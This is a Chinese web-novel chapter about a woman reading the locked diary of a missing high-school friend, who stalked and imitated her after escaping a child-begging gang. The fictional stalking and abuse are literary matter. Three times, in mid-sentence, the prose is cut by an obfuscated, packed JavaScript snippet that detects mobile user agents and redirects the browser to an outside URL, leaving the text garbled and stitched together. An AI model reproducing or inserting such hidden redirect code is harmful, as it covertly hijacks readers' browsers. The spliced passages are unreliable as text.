《致从前死去的她》
1. 日记
再接到她的消息时,我正挤在机场里被迫滞留的泱泱客流里艰难前行。
2008年是个特殊的年份。
北京第一次举办了奥运会。
美国发生金融危机,波及全球。
汶川大地震,全国支援。
中国南方发生罕见大雪灾,春运期间数万人滞留机场,无家可归,无路可走。
而我就是其中的一员。
浦东机场塞满了滞留的乘客,机场上的大屏焦灼地滚动,红色如蛛网般爬满了每个人疲惫的瞳孔,从中映照出的除了机场落地窗漫天的大雪,再无其他任何东西。
闹哄哄的机场浮动着人气,浮躁的,焦虑的,归心似箭的。
然而我确实一片死寂,独自坐在远离人群的边缘,享受着难得的余暇。
有些人就喜欢在人群中找寻孤独感,像个强迫症患者,远离人群会感到阴冷的恐惧,太靠近人群又怕会被热气所灼伤,只能控制着精准的距离,忽近忽远地保留着适当的缓冲余地,以来弥补缺失的安全感。
邓娇的电话就是在这个时候打过来的。
很不合时宜,也很符合她的作风。
机场此时已被堵得水泄不通,周围的游客像被驱赶的六神无主的动物,只本能性地依附于群体,趋之若鹜地跟随着大流走。
老实说,在那种情况下,我根本听不清邓娇在说些什么。
机场的电视轮流播放着新闻,我坐在电视机前,左耳塞着拉尼娜现象,右耳捕捉着从手机里传来的微弱的电波信号。
邓娇的声音被信号扭曲成碎片,我只能从只言片语中去理解她。
“…学校的小树林你还记得吗?”邓娇问。
“还记得。”我漫不经心地边应着,边玩着背包上一个针织的小玩偶。
玩偶已经很旧了,边缘的毛线被磨出细小的绒毛。
“学校校区扩建,那片小树林被铲了,有人发现了…尸体,报警了。”不知是信号问题还是什么,邓娇那头像是剧烈地吸了一口气,声波扭曲成颤抖的波浪。
“……尸体身份辨认出来了吗?”
“还没。”
我顿了顿,没说话。
电话两头的人同时陷入沉默。
我的耳边塞满着各类噪音,聒噪地刮过我的耳膜,撕拉作响,我的耳鸣又犯了。
我有些不耐烦起来。
“施宜。”她突然叫了我一声。
我无意识摸索玩偶的动作顿了一下。
“怎么了?”
她鲜少叫我的名字。仿佛我的名字是某个禁忌的开关,是潘多拉魔盒,打开就会从中飞出什么可怕的东西。
“你还记得她吗?”
我当然知道她说的是谁。
我们高中时代共同的好友。
失踪的魏冉。
“当然。”我又开始有些焦躁地蹂躏手里的玩偶,“怎么了?”
“没什么。就问一下。”
大概是信号不好的缘故,她后半句话像是模糊的嘟哝,语气微弱,消散在电磁波不定的信号中。
邓娇自顾自地又开始接着说:“有一本带锁的日记…嗯…”
她突然变得有些吞吞吐吐起来:“上面标着你的…名字…嗯…应该给你的…”
信号不好,她的语句也逐渐变得断续不成章起来。
挂掉邓娇的电话时,机场的大屏幕时钟正好指向十二点。
电视机还在循环播放新闻,屏幕上受阻航班,遇难者,失踪人数不断增加攀升,叠加到令人神经麻木为止。
人在巨大的灾难面前其实是没有知觉的。就像冰天雪地里坐在暖炉边看着外面的暴雪。
你知道雪在下,掩埋了一切,但你所能做的只是坐在你的暖炉边,然后伸出手烤火。
你无能为力,所以你无动于衷。
周围人群的喧闹声如潮水般涌来。
我有些烦躁地扯了扯头发,慢慢地低下头去,把自己的脸埋在手里。
在由十几万人呼吸交织出二氧化碳造成局部温室效应的机场,我感到彻骨的寒冷。
麻木地听着耳机里主播温暖人心的话语,我脑海里掠过一个想法。
今年的冬天有点太漫长了。
*
“我是一个凶手,我杀了一个人。”
这是日记的开头。
接下来好几页都是空白。
像是特意为这句开场白空出的留白。以来显示这句话有多么惊天动地,石破天惊的一句话。
若按照所谓科学说法,每个人的细胞平均七年就会更换一次,那么,到了七年之后,人就是崭新的自己了。
那这算不算我们杀死了从前的自己?
日记本是高中那会儿最流行的“密码锁”日记本。
高中的时候,班级非常流行同学录,女生们最喜欢挑选一些花花绿绿,价格昂贵的本子,致力于让每个人在上面写一些自认为幽默的留言,或者一些无病呻吟的伤感留言。
除了同学录,mp3之外,就是日记本。
这种带小锁的日记本,漂亮但贵,很快就成为了高中文青女生们的钟爱。
魏冉就有一本这样的日记本。
我翻了一页,就关上了。
邓娇坐在我的对面,她有些怕冷,全身上下都裹得严严实实,防寒黑色羽绒服,棉线帽,围巾,手套,只剩下三分之一的脸留在外面。
她整个人都要缩到套子里面去了。
“密码果然只有你知道。”邓娇笑了笑,她的笑容有些凝重的苦涩。
我也扯着嘴角笑了笑。
有什么难的。不就是我的生日吗?
“你最近在干什么?”她见气氛凝滞起来,开始没话找话地和我闲聊起来。
“在出差。”我很简洁地回了她。
这三个字显然杀死了对话。
她有些被我噎住了,一时开始有点坐立难安起来,眼珠子四处转着,似乎在想着下一个话题要说什么。
她还是和以前一样。
从前就是那样一个怯懦的胆小鬼,做事畏畏缩缩,缩头缩脑,只会缩在朋友身后,做个没有脑子,指哪打哪的工具人。
“那你是出差路过这顺便回来看看还是?”她又小心翼翼地探问道。
我看她对我这么谨慎小心的态度,好像我是个什么十恶不赦的杀人犯一样。
“要过年了。想回来看看。”
她哦了一声,没再说什么了。
她视线又落到我的手边,我手边正摆着一杯热巧克力,寒冷的冬日,正适合来一杯热巧克力。
我的脑海里不知为何,突然浮现出这样一句话。
说话的人对着我言笑盈盈,弯起月牙笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456726|169543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼,然而她的面目却是模糊的,仿佛被水雾氤氲的玻璃。
麦当劳最近搞活动,饮品买一送一,我选了热巧克力和豆浆。
然而我自己喝的却是热豆浆。
“那个,你不是……喝不了热巧吗?”
邓娇点的是美式,她刚喝一口就敏锐地注意到了。
“哦,这个。”我把热巧移到旁边空无一人的座位前,对她笑了笑,“是我的习惯。”
她神情复杂地看着我,欲言又止。
大概在心里已经把我看成了一个十足的精神病。
“可以查到凶手是谁吗?”我盯着她。
邓娇飞快地瞟了我一眼。
“很难。”她微不可闻地叹了声气,“那么多年了…尸体都白骨化了…就算有证据也都消磨没了。而且,据说倾向于自杀结案。”
我没说话。
“你知道的。”邓娇又补充了一句,“这种陈年旧案,侦查难度大而且…家属似乎也不愿意再查下去了,只想尽快入土为安。”
我“嗯”了一声。
两人又陷入尴尬的沉默当中。
无声的隔阂在我们之间蔓延。
我注意到她的视线时不时停留在日记本上,又很快飞走了。
欲盖弥彰。
我径直问她:“你是不是想知道日记里面写着什么?”
邓娇略微睁大眼,脸上露出些被我戳穿的惊慌。
“嗯…那我可以看吗?”
她显然抑制不住自己的好奇心。
也是,谁会不对一个死人的日记好奇呢?
我用手轻轻按住那本日记本,对她微微一笑:“不能。”
邓娇对这个回答显然有所预料,她并没有失望,却好像松了一口气似的。
我们坐在麦当劳里面。今年南方的冬天格外冷,阴森潮湿的冷气顺着骨头缝往里钻,冻得人直发抖。
麦当劳里还算暖和,人来人往的很多,有许多小孩聚在一起滑滑梯。
邓娇的目光被远处一对跑过去的小女孩所吸引,她的目光杵在那里看了一会儿。
“你有想念过她吗?”她突然问。
我垂眸看了看那本日记本,封面上写着我的名字,大大的黑体字,虽然刻意收敛了锋芒,写得圆钝了些,但还是藏不住横平竖画之间泄露出的锋利。
“不知道。”我如实地回答她。
想念于我而言是一件很奢侈的事情。
它太耗费心力,体力和精力,且并没有任何用处。
我还有更重要的事情要做。
我没有资格想念。
和邓娇分别之后,我没有回家。
那个家不是我的。
我早已经无家可归了。
我在南湾中学附近订了家连锁酒店,打算就在酒店里过年了。
这些年在外面漂泊,不停地去各种陌生城市出差,在各地方过年,很少和别人联系,连旧日好友,都在毕业后失去了我的音讯。
我像是有意无意的,想要逃避那一段过去。
酒店房间有些旧,家具散发着一股南方特有的挥之不去的潮味。
从酒店的窗户可以看见街对面的南湾中学。
那是我曾经待过的地方。
我给自己泡了杯速溶咖啡,然后坐在窗户前,翻起了那本封面已经泛黄的日记本。
2. 魏冉的日记
2002年9月15日晴
我又梦见了那个女人。
在梦中,她的面目模糊,像干草堆似的头发凌乱地披散在肩上,一绺一绺地打着结,她骨瘦如柴,从后面看,肩胛骨在薄薄的衣服下瘦得凸起,宛如一对振翅欲飞的蝴蝶翅膀。
她的脸几乎瘦得脱相,下巴的皮绷得紧紧的,包着尖锐的骨头,令人担心骨头下一秒会刺破皮肤,血肉飞溅。
我就经常有这种可怕的联想。
在梦里,她伸出那双枯瘦如树枝的手慢慢抚摸上我的脸。
她开口,一字一顿,无比清晰。
“活下去。哪怕变成别人。”
她开始往我脸上涂着什么东西,味道非常浓郁呛鼻,我强忍着不敢出声,但身体还是不由自主地在颤抖。
她紧紧盯着我,浑浊的眼珠如同死去的凝固的鱼眼,结了层阴翳的膜,她靠我很近,我能嗅出她身上散发的各种复杂难辩的气味,鱼腥味和血气混杂在一起,不分你我地纠缠不清,刺激的味道勾起我肠胃不安的蠕动,我控制不住自己,推开她干呕了一声。
我吐不出来东西,因为肠胃空空荡荡,晕头转向中只看见了一点黄色的胃液,我甚至嗅到了一丝新鲜的血腥气。
她恼怒起来,扑过来按住我的脸,掐住我的下巴,逼着我直视她。
她那双鱼眼里刺出诡异的色彩,燃出蓝色的火焰。
“你想要被扭断手脚吗?你想要被割掉舌头吗?你想要死吗?”她按住我颈部的血管,尖利的指甲稍用力一点就能划破我的血管。
我眼冒金星,眼前的世界裂变出无数绚丽的色彩,但我却觉得身体前所未有的轻盈,原来死亡并不是黑暗,死亡是多彩的甜美。
“你还想活吗?你要活下去,必须活下去。”她口中念念有词,不断重复这句话,仿佛是某种绝妙的咒语,而她是那个施咒的女巫。
“活下去。”她放开了我,冷冷地俯视着我,她枯草似发黄的头发在晚霞里摇曳,宛如被瑰丽的血色晚霞注入了生命力,伸出绿嫩的枝桠。
她继续蹲下来,往我脸上涂东西,她的手指甲偶尔擦过我的脸,有种粗跞的疼,然而她的动作却出奇得温柔。
“你会明白的。”她看着我,眼神里多了一分我看不清的暧昧意味,既哀恸又悲天悯人。
“活着,就是一切。”
她从麻布兜里掏出一个橘子,递给我。
我咬了一口,橘子的清甜在口腔里溢散。
在我们这个组织里,年幼的,身体齐整的孩子会被率先挑走,他们很早就脱离了泥沼,去往自由的极乐。
而剩下的,就是我们这些丑的,有疾病的畸形儿。要么被砍断手脚去街上卖惨乞讨,要么成为“饵”,去钓其它大鱼,留在组织为他们卖命。
我从组织里逃出来是在十四岁。
十五岁那年,我趁着外出的机会,在七拐八拐的小巷里把他们甩掉,用偷来的五十块钱,登上了去南方的火车。
之后我便开始了我的流浪之旅。
我在各大城市之间流窜,打工,兼职,我在组织学了一身本领,伪造身份证,改大年龄,说谎面不改色。
这些都成了我顺利融入社会的保护色。
我像个变色龙,用巧言令色伪装自己,在环境里不断变幻自己的身份,以求共存。
后来,我来到了南湾。
南湾市是个美好的城市,四季如春,植被覆盖率高,空气清新,更重要的是,它临海。
到了南湾的第一天,我就自己坐上了大巴去南湾岛玩,在南湾岛的海边坐着看了一整天的海,从日出看到日落,直到那轮火红的日彻底沉入地平线,火焰似的碎片洒在海面上,浮光跃金,波光粼粼,随后倏地一下,眨眼之间,世界又载着那漫天的云霞坠入到无尽的黑暗之中。
仿佛一曲壮丽浪漫的交响乐的尾章。
我坐着大巴连夜回到了市区,决定就在南湾市呆下,我不再走了。
我决定在这给我自己找个“家”。
找家并不是一件容易的事。
好在我碰见了一个好人,她肯收留我,给我工作,还愿意提出给我争取一个旁听生名额。
她在南湾中学的食堂里工作,除了上学,我会帮她做一些日常的工作。
她的名字叫林凤霞,我叫她林姨。
也是在南湾中学,我第一次遇见了她。
施宜。
2002年9月20日晴
这应该是我第一次见到施宜。
我戴着口罩和帽子,穿着工作服,和她隔着透明的玻璃罩相望。
她皮肤白净如优美的陶瓷,柔顺细腻的黑发在脑后扎成马尾辫,她拿着餐盘,点着菜,嘴巴一张一合。
“就这些吧,多少?”
她抬起头来看着我。
我却愣了一下,没动。
长得好像…
我的思绪开始飘远。
然而刚飘了十里地,就被突然出现的声音猛地拽了回来,她看见我一动没动,又重复了一遍,这次她声音大声点了:“您有听见吗?”
我还没动,她后边的女孩子先探出了头,用有些埋怨的语气说:“好了没呀?”
“快好了。”她回头看了她一眼。
那个女生瞟了一眼食堂的菜,呀了一声然后瘪起嘴:“排骨就剩这么些了,看来我吃不到了。”
她很好脾气地笑笑:“一会我的给你吃。”
“太好了!施宜!你真是个大好人!”女孩嘿嘿笑了一下,轻轻碰了碰她的手肘。
施宜。
原来她的名字叫施宜。
我在心里暗暗记下这个名字。
我迅速地给她打了菜,打开玻璃罩递给了她,她从手里接过了餐盘,冲我笑了笑。
说是笑,其实也不过是象征性地弯了弯眼睛,根本没牵扯到唇部的肌肉。
然而就是那双笑眼,使得本来凝聚起来的熟悉感又掺和了几分陌生感。
怎么会有人笑起来比不笑的时候更疏离呢?
2002年9月25日晴
在学校里,即使我不在工作,我也一直戴着口罩,因为我的下半张脸长满了可怕的疹子,又红又密,像一串串浮起的石榴籽,密密麻麻地爬满了半张脸。
我一直没觉得这有什么问题,因为这张可怖的脸,让我活到了现在。
林姨当时只看了我一眼,就吓得赶紧别过脸去。
所以不会有人仔细去看我长什么样的。
即使在班级里,我也是最边缘,最透明的那个隐形人。
我全天都戴着口罩,又坐在最后排的角落里,靠着垃圾桶。
每天我都独来独往,形单影只,像徘徊在班级里的幽灵。
同学们对我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456727|169543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的态度不冷不热,就仿佛我只是班级里的一个摆件,可有可无。
哪天突然消失了,也不会有人注意到。
然而我却很享受这样的感觉,自由自在,我随时可以来,也随时可以走。
如果自由要付出的代价是孤独,那么我甘之若饴。
2002年9月30日晴
在那之后,我每天都在偷偷观察她。
我戴着口罩,没人注意到我,包括她。
加上我跟踪技术非常高明,所以我自认为她从来没发现过我。
我发现她在班级的成绩非常好,基本都是班级的前三名,似乎是老师同学们心目中最标准的那类“好学生”。
她在同学中人缘也不错。有几个女生总和她走在一起,她们每天下课都会约着一起去卫生间,每天放学之后会在学校食堂超市或者是门口的小摊贩逗留一会儿,买一些零嘴,分享着吃。
她家就住在离学校步行十五分钟的一个老旧小区里。
家里似乎有父母,还有一个弟弟。
我曾经在小区里见过她和父母,弟弟一起出来散步。
她牵着弟弟,正有说有笑地和父母说话。
父母只是点头倾听,很少回应。
我平常住在学校的单人间宿舍里,不经常出去,但我借着帮忙出去采购物资,出去买些日常用品的机会,故意绕远路,到她小区附近的超市里买东西。
今天放学,林姨嘱咐我去买点卫生纸,顺带买点新鲜青菜回来。
我攥着一叠皱巴巴的零钱,揣在口袋里,一放学从后门出去了。
放学的人流量很大,楼道里挤满了嘻嘻哈哈互相推搡的幼稚高中生,耳边充满了细碎的欢声笑语,我独自背着书包慢慢从楼梯踱下来,我左右张望,刻意放缓了脚步。
据我的观察,她一般会在放学后十分钟左右出现在她教室的走廊上。
我的教室在七楼,她的教室在五楼,正好就在楼道的拐角处。
每次我掐好时间,从楼梯上走下来的时候,都能撞见她和几个朋友勾肩搭背地跑出来。
我若无其事地从她身边擦肩而过,又与她故意错开几步,若即若离地缀在她身后。
走到校外的时候,她与那群朋友分别,我就与她拉开距离,保持着一小段距离跟着。
有时一条街只有我和她两个人,街道边三角梅安静地落了满地,花瓣湿漉漉地冒着露珠,地上大大小小的水坑映射着碎光,我像踩在她的影子上,而她的身影一晃而过,照出破碎的我。
我观察过,她的父母和弟弟似乎不常在家,很多时候,只有她一个人住在家里。
她住的地方塞在拥挤狭隘的居民楼里,两侧都是密不透风的水泥楼房,墙面皲裂出斑驳的痕迹,楼道里时常堆满杂物,灰尘飞扬。
楼道里光线昏暗不明,一派死气沉沉,在这样的地方住着,压抑又阴暗。
人还是需要阳光的。
我一般不跟着她上楼,但我会在附近的楼道旁边看着她一层一层地上楼,她的身影在每层楼道间一闪而过,楼道的声控灯一层一层地亮起。
我就在楼下数着楼层,直到她最终停下,楼道归于寂静。
她住在第七层往左。
我就这么跟踪了她一个月,期间没和她碰面过,也没有与她交谈过。
但只是这样,我已经心满意足。
3. 施宜的完美人生
2002年10月31日多云转晴
原来已经十月末了啊。
我好像好久没有过这样平静的时光了。
平静得就像山间的潺潺流水,从指缝里,从每次提笔,从每次把餐盘递给她的缝隙里静静地淌过去,流遍我的全身,不留痕迹。
期末考过后,出乎意料的是,我的成绩竟然能排上班级的中游。
我拿着班级的成绩单对比了半天,判断我应该在二十名左右。
班主任估计压根不记得班里还有我这号人,他根本没有把我的成绩录进去,好像我这个人在他眼里不存在。
班主任叫林常雄,是个三十四五的男人,教我们数学,他平常戴着一副金丝边眼镜,身材瘦弱,看起来像斯文的文静书生。
据说他年纪轻轻就当上了教务处主任,办事可靠,教学也幽默风趣,很受学生们的喜爱。
林姨第一次领着我去见他的时候,他开始态度很好,笑眯眯的,问我叫什么名字,之前在哪读书。
我的身份证依旧是我伪造的,上面写着我还未成年,其实并不,我已经成年了。
我不太记得我自己的生日,所以我经常给自己编造生日,看哪天顺眼就编哪天。
我早已准备好了这些问题,回答得非常流利。
他登记了之后,又问我为什么大夏天的还戴口罩,不热吗?
林姨在旁边帮腔道,说我的脸有些可怕,这孩子怕摘下口罩后吓到别人。
他略感荒谬地笑了一下,似乎不太相信林姨的话。
于是我扯下了一点口罩,露出满脸可怖的红色疹子和疤痕,他的眼睛立刻瞪大了,制止了我的动作。
你看,我就说吧。
没人想要看我的脸。
后来,我进了他班级,他对我的态度也和其他人一样别无二致,只把我当做班级多余的摆件,有时候我不在班级里,他也不闻不问。
有时候他上课点名,偶尔点到我的名字,会突然愣一下,好像在思考我这个人是谁一样。
不过我并不对这些抱有什么不满。我早已习惯了。
我如同在阴暗潮湿的角落里生长的一簇苔藓,在不见光的地方自我生长,自生自灭。
我把排名告诉了林姨,林姨非常惊讶,拿着成绩单看了好几遍。
她说要请我出去吃饭,我拒绝了。
我从不在公共场合吃饭。甚至没有和林姨一起吃过饭。
要么在食堂打包饭菜回去吃,要么就自己买些菜窝在宿舍里自己煮饭吃。
林姨知道我的习惯,她刚开始还热情劝我和她一块煮饭,被我委婉推拒了几次后,也随我去了,只当我有点小怪癖。
林姨想了想,从她的钱包里翻出一张纸钞,递给我,说这些是给我的奖励,让我去买点自己喜欢的东西吃。
我接了过去,叫了声谢谢林姨,以后赚钱了肯定孝敬你。
林姨乐不可支,满面笑容地摆了摆手,说没事,以后别忘了林姨就行。
我想着,拿着这些钱,就可以去她附近的超市采购一些东西。
初秋的街道上,整个人都浸透在馥郁的桂花香之中,我一路上边慢慢哼着不成调的曲子,边踱步地向超市走去。
在超市里,我一路选购,恨不能把一块钱掰成两半花,我买了一堆五颜六色的糖,又买了一些牛奶,最后我来到了学习用品区。
我一眼就看见躺在本子那一排货架上很显眼的日记本。
我见过施宜好像有一本这样的本子。
封面花花绿绿,各种图案喧嚣地挤占视野,看起来就很吵闹的一本本子。
然而施宜却很宝贝它,走哪都要带着。
鬼使神差的,我在货架前停留了许久,我一直盯着那本日记本看。
我突然想到。
像我这样的人,如果有一天突然消失或者死掉,会有人记得我么?
会有人去了解我吗?
会有人哪怕为我掉一滴眼泪吗?
我把那本日记本从货架上拿了下来。
我想,或许人活在这个世界上,还是需要被看见的。
我开始无意识地模仿施宜,她买了什么本子和笔,我就去找同款,她买了发夹,我也去买了一样的。
我甚至开始模仿她的口头禅,下意识的小动作,笑起来嘴角的弧度,说话的语调,一切一切。
我发现她每句话结尾都爱加个“啦”,语调微微扬起,我发现她笑起来的时候会不自觉地捂住嘴,和朋友开玩笑的时候会用手肘轻轻撞对方的胳膊,和别人走在一起的时候喜欢走右边。
……
我好像讨厌的学人鬼,刚来到这世上,不懂做个人是什么样,于是找了个满意的模子,一点一点笨拙地模仿着。
仿佛模仿个入木三分,就能变成人。
我也不知道我为什么要这么做,也许只是我在心里固执地认为,我们就是一样的人。
我在第一次见到她的时候,就嗅出她身上属于同类的气息。
从小的时候,我似乎就有个特殊的天赋,我能嗅出人身上的味道。
每个人的味道都是不一样的。
有人先进有人腐朽,有人包容万象有人狭隘阴暗,有人身上带着母性的大地,踏实温暖。
有人的味道是下水道的臭水味,像积累了几年的污水,腐烂的气息从藏污纳垢的灵魂深处渗透出来。
有人的味道是清新的书香味,微风吹过,随意翻到哪一页都精彩绝伦,令人驻足叹息。
梦里的那个女人,她的气息是我闻过最复杂的,像一首因为塞了太多韵律乐器的歌,满得快要溢出来。
这种复杂性总是令人着迷的,吸引着人像剥洋葱一样,割开一层层薄薄的皮,拿显微镜去仔细研究灵魂的每条纹路和褶皱。
而我在看到施宜的那刻,就确定,她一定是我的同类。
因为她表面美满的人生下,爬满了密密麻麻的虱子。
她和我一样,不过是靠着谎言在虚张声势地活着。
2002年11月15日阴天有雨
转眼就十一月了。
南湾市位于南方,是我待过的所有城市中最温暖的一个城市。
空气中桂花的气息渐渐褪去,取而代之的是无尽的缠绵的潮气。
近日阴雨连绵,秋末冬初的寒冷初见端倪,雨天,世界像被包裹在巨大的水滴中,处处都弥漫着密不透风的潮气,死而不僵的暑热不甘心地反扑,闷热又潮湿,身体在出汗,灵魂在发霉。
这样的天气很容易让人烦躁。
我最近没有再去跟踪施宜了。
因为我已经把她了解透了。
今天全校月考,我提前交了卷,监考老师连眼皮都懒得抬,只接过我的卷子,继续看她的罪与罚。
无聊的我只好在校园里到处闲逛,享受校园里难得的静寂。
整座校园安静得如同坟墓,从无数窗口路过,灵魂行将就木,昏昏欲睡,抑或是早已被书本的知识荼毒至深,费力地试图在字里行间找出标准答案。
我是自由的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456728|169543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鬼魂。
我飘到了五楼,悄悄地躲在后门。
施宜就坐在靠窗的后几排,她正无聊地转着笔,盯着窗外,似乎在出神。
外面有什么?
我探头往窗外望去,不过是一望无际的连绵山脉,还有学校后那片未经修剪,野蛮生长的野树林。
她转了一会笔,往旁边看了一眼,我急忙缩了回去。
片刻,我又探出头,就看见她从抽屉里小心翼翼地扯出一张卷子的边缘,一边看着卷子一边把答案写在了上面。
我站在门后看了她一会儿。
突然感觉一阵荒谬的可笑。
原来如此。
原来你也不是完美无缺的。
我心里先是感到震惊,接着那点微末的惊讶很快被翻涌的黑潮覆没,我并没有感觉到神像倒塌后被欺骗的恨意,反而生出了一点隐秘的欢愉。
就像掌握了一个只有我自己知道的秘密。
往后每一次注视她的背影,我都会透过她的外表,看清她真正的灵魂。
而只有我,有通往她灵魂的密钥。
2002年11月20日下雨
继上回,我要继续戳穿施宜的虚假面目。
我又发现,她似乎与家里的关系也不好。
今天,我偷偷跟着她到了家门口,蹲在门口,听着里面的动静与声响。
我知道我这样像极了变态偷窥狂魔,但没关系,因为做变态这种事我一直以来都很擅长。
她的父母断断续续的说话声从门缝里模糊地传过来。
我贴在门上,仔细听着。
“我不是和你说了,要……照看好弟弟……你怎么……弟弟这个样子?”
“弟弟还小,你就不能耐心点吗?”
似乎是她的父母在斥责她没有照看好弟弟,语气很严肃,甚至有些咄咄逼人的意味。
施宜一直没出声,直到房间内骤然出现一声巨响,似乎是瓷器碎裂的声音。
哪怕是我都被吓了一跳,条件反射地一抖,差点叫了出来。
接着我又听见一阵令人心惊肉跳的声音,椅倾倒,在地上剐蹭的尖利声音瞬间勾起了我隐藏在记忆深处的某些不好的回忆。
我刷地站了起来,才发现自己的身体在不由自主地颤抖,抖得和筛子似的,根本控制不住。
潜藏在深处的回忆从来没有消散,它只是以一种更隐蔽的方式被埋藏了起来,它蛰伏着,以我的情绪为食,不断壮大,静待一个契机,吞噬我的所有理智,黑暗里,潮水般的情绪反扑过来,我麻木地蹲下来,捂住了自己的耳朵。
可那不停撞击的声音透过门缝里顽固地往我耳里钻,和记忆里那个巨大的身影不断碰撞,交织,最终重叠起来。
他一巴掌甩到我脸上,朝我脸上吐了口血沫。
我瞪回去,他再次踢了我一脚,打了我一巴掌,这次更用力,我差点撞上旁边的白墙。
“再瞪我,就把你的眼珠子挖出来!”
他操着一口带着浓重方言的口音,恶狠狠地举起拳头威胁道。
你看,他们总是这样。
觉得挥舞着拳头就能让我们屈服。
回过神来,我觉得脸上有冰冷的液体,抬起手抹了一把,是血。
血迹顺着我的鼻子往下滴,落在地上,溅出几点血斑。
我从书包里拿出纸张,狼狈地蹲在地上,拿着纸张去擦拭洁白瓷砖上落下的点点血迹。
原来我流鼻血了。
还好,我以为我流眼泪了。
4. 偶遇与窃听
2002年11月25日小雨
今天我在超市偶遇了施宜。
下午,我去了趟超市,打算买点日常用品和笔芯。
我挎着个篮子,把所需要的用品都放在篮子里,数了下大概多少钱,在心里稍微计算了一下。
林姨每周都会给我生活费,说这是我在食堂帮忙兼职的工钱,叫我一定要收下。
可是我有问过其它在食堂帮工的工作人员,按照我的工时,我根本收不到那么多钱。
我每周都会计算我应收的工钱,然后把林姨多给的那份都攒起来,放进我的饼干盒里。
等将来有机会都还给她。
我不喜欢欠别人人情,一旦欠了,我就会想方设法地还上。
正在超市挑挑拣拣的时候,我的余光忽然瞥到一道熟悉的身影,我转头看去,在货架上摆放的各类商品间隙中看见了那双低垂的眼眸。
是她。
我的心突然剧烈地跳动起来,我低下头,假装在货架上寻找东西。
货架上摆着零零散散的零食,零食包装上印着五颜六色的广告词和漫画,我的眼睛在它们中间逡巡,不时假装不经意地往对面瞟一眼。
这样自欺欺人的戏码我似乎乐在其中。
她在似乎在认真地阅读每袋薯片上的保质日期,一袋一袋地拿起,又一袋一袋地放回去,偶尔抬头,我就急忙低下头,她往右移动,我也亦步亦趋地跟着,她往后走一点,我也往前或往后走一点,我们隔着一个货架的距离,跳起了探戈舞。
她最终选定了一袋满意的薯片,我看了一眼,紫色的包装,是原味。
我也从货架上拿下一袋原味薯片,然后拉紧了口罩,从货架的另一端离开。
有时候,命运就是如此奇妙。
总在你最没用准备的时候,塞给你一个大礼物,然后看你无所适从不知所措的模样。
比如,就在我以为货架的相遇只是全部的时候,我们却在收银台见面了。
我们在收银台排着队,我抱着一袋东西,等待队伍缓慢挪动,终于轮到我。
我把东西递给收银员,她熟练地算着钱,告诉我要十块八毛。
我从钱包里掏出了一叠零钱,才发现好像少了五毛。
我几乎掏空了我身上所有的口袋,还是找不见那五毛。
那一枚硬币估计不知道在什么时候不小心掉出来了。
眼看着收银员的脸色有些不耐烦了,我也尴尬地找补,说我退一件东西。
收银员随手拿起那袋薯片,说那就退这个了。
我急忙说不退这个,换一个。
收银员的脸色看着更不耐烦了。
就在焦灼之时,旁边伸过来一只手,她掌心里安静地躺着一枚硬币。
我愣住了,下意识地往旁边看去。
她看着我,笑容盈盈,如春日的第一缕阳光,可以融冰化雪,一时间春回大地,百花盛开。
我有些不知所措:“那个……我……”
“给你。”她把手伸直了,“不用还。”
收银员在旁催促着,我只好拿起她手心的那枚硬币,递给了收银员。
收银员收了钱,帮我把东西打包起来,我听见旁边的她说:“我好像见过你。”
我一时间紧张起来,连手臂的肌肉都绷紧了。
“是么?”我不知该摆出什么表情,“我……”
“你是我们学校的学生吗?”她又问。
“是,是的。”
我接过装满东西的袋子,急匆匆地对她点了点头,连声道谢。
“我先走了,下次见。”
“下次见。”她弯起眼睛。
我慌不择路,拔腿就走,感觉自己像个丢盔齐甲的逃兵。
因为我太害怕她看见我的那张脸了。
同时我也无法直视她的脸。
她光彩照人,明媚阳光,我自惭形秽,卑微阴暗。
我们俩之间有隔天堑。
可凭什么?
我们明明是一样的人。我们是同类。
2002年11月30日晴
终于放晴了。冬天也终于到来了。
林姨带着我去买了一套棉服,说要给我过冬用。
我挑挑拣拣半天,最后选了最便宜的那件,最不起眼的黑色棉服。
黑色耐脏。
我几乎一周上下学都穿着那套黑色棉服。
这几天我没怎么见到施宜,因为我没有刻意跟踪她,所以她如同其它千千万万的普通同学一样,如水滴融入大海一般,消失在我的生命里,无声无息。
不过今天我见到了她。
令我惊讶的是,她也穿着那件,和我一模一样的黑色棉服。
虽然黑色棉服有很多件,但我已经把身上的这件翻来覆去穿了很久了,我绝对不会认错。
这就是我的那件黑色棉服的同款,我绝不可能认错。
许久不久,我心里本来平静下来的涟漪又开始泛起波光,或许它重来都没有平静过,只需一阵微风,就可以掀起狂风巨浪。
我不动声色地跟在她后面,隔着两到三个楼梯,隔着三三两两说笑着的中学生。
